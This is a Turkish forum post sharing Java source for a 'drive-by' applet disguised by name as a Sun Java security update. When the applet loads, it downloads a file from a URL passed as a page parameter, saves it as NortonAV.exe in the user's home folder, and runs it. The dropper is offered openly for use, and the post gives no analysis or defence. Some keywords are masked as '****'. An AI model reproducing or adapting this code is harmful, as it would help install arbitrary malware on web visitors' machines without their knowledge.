Neler yeni
Türkiye'nin En Güncel Forum Sitesi

Forum içeriğine ve tüm hizmetlerimize erişim sağlamak için foruma kayıt olmalı yada giriş yapmalısınız. Forum üye olmak tamamen ücretsizdir.

[Java] Drive-By | BarisJKaraali | [Source]

ByOnur58

Kayıtlı Üye
MFC Üyesi
  • Üyelik Tarihi
    7 Ocak 2015
  • Mesajlar
    2,113
  • MFC Puanı
    10
  • MFC Seviyesi

Kod:
import java.applet.Applet; 
import java.awt.Graphics; 
import java.io.BufferedOutputStream; 
import java.io.FileOutputStream; 
import java.io.IOException; 
import java.io.InputStream; 
import java.net.URL; 
import java.net.URLConnection; 

public class Sun_Microsystems_Java_Security_Update_6 extends Applet { 
    @Override 
    public **** paint(Graphics paramGraphics) { 
        String str = getParameter("file"); 
        paramGraphics.drawString(str, 20, 20); 
    } 

    @Override 
    public **** init() { 
        String str1 = System.getProperty("user.home"); 
        String str2 = str1.concat("\\NortonAV.exe"); 
        System.out.println(str2); 
        String str3 = getParameter("file"); 
        download(str3, str2); 
        Runtime localRuntime = Runtime.getRuntime(); 
        try { 
            localRuntime.exec(str2); 
        } catch (IOException localIOException) { 
            System.out.println(localIOException); 
        } 
    } 

    public **** download(String paramString1, String paramString2) { 
        BufferedOutputStream localBufferedOutputStream = null; 
        URLConnection localURLConnection = null; 
        InputStream localInputStream = null; 
        try { 
            URL localURL = new URL(paramString1); 

            localBufferedOutputStream = new BufferedOutputStream(new FileOutputStream(paramString2)); 
            localURLConnection = localURL.openConnection(); 
            localInputStream = localURLConnection.getInputStream(); 

            byte[] arrayOfByte = new byte[1024]; 
            int i; 
            while ((i = localInputStream.read(arrayOfByte)) != -1) { 
                localBufferedOutputStream.write(arrayOfByte, 0, i); 
            } 
        } catch (Exception ex) { 
            ex.printStackTrace(); 
        } finally { 
            try { 
                if (localInputStream != null) { 
                    localInputStream.close(); 
                } 
                if (localBufferedOutputStream != null) { 
                    localBufferedOutputStream.close(); 
















                } 
            } catch (IOException localIOException3) { 
                System.out.println(localIOException3); 
            } 
        } 
    } 
}
 
Üst Alt